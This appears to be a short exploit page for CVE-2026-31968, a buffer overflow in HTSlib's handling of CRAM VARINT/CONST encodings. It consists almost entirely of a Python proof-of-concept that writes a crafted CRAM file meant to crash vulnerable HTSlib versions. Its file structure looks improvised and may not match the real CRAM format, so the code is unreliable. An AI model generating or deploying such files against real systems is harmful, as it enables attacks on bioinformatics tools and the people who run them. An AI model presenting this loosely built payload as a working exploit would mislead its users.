CVE-2026-31968 HTSlib CRAM格式VARINT/CONST编码缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2026-31968 PoC - HTSlib CRAM Buffer Overflow This PoC generates a malicious CRAM file that triggers buffer overflow in HTSlib's VARINT/CONST encoding handler. Note: This is a proof-of-concept for educational purposes only. """ import struct import sys def generate_malicious_cram(): """ Generate a crafted CRAM file that exploits the VARINT/CONST encoding validation vulnerability in HTSlib < 1.21.1, 1.22.2, 1.23.1 """ # CRAM file header cram_header = bytearray() # CRAM magic number cram_header.extend(b'CRAM') # File format version (3.1) cram_header.extend(struct.pack('>H', 31)) # File ID cram_header.extend(struct.pack('>I', 1)) # Container header container = bytearray() # Container version container.extend(struct.pack('>H', 31)) # Container length container.extend(struct.pack('>I', 0)) # Block block = bytearray() # Block content ID block.extend(struct.pack('>H', 0)) # Block method (Bzip2) block.append(1) # Block content type (file header) block.append(0) # Crafted data with malicious VARINT/CONST encoding # This triggers the buffer overflow by providing oversized encoded values malicious_data = bytearray() # Add crafted encoding that exceeds buffer bounds # VARINT encoding with malformed length field malicious_data.extend(b'\xff\xff\xff\xff\xff\xff\xff\xff\x7f') # Add CONST encoding with oversized value malicious_data.extend(b'\x00\x41\x42\x43\x44\x45\x46\x47\x48') block.extend(struct.pack('>I', len(malicious_data))) block.extend(malicious_data) # CRC32 checksum import zlib block_crc = zlib.crc32(block) & 0xffffffff block.extend(struct.pack('>I', block_crc)) container.extend(struct.pack('>I', len(block))) container.extend(block) cram_header.extend(container) return bytes(cram_header) def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <output_cram_file>") print("Generates a PoC CRAM file for CVE-2026-31968") sys.exit(1) output_file = sys.argv[1] print(f"[*] Generating malicious CRAM file for CVE-2026-31968") print(f"[*] Target: HTSlib < 1.21.1, 1.22.2, 1.23.1") print(f"[*] Vulnerability: Buffer overflow in VARINT/CONST encoding") malicious_cram = generate_malicious_cram() with open(output_file, 'wb') as f: f.write(malicious_cram) print(f"[+] PoC file written to: {output_file}") print(f"[+] File size: {len(malicious_cram)} bytes") print("[!] This file should be opened with vulnerable HTSlib version") if __name__ == '__main__': main()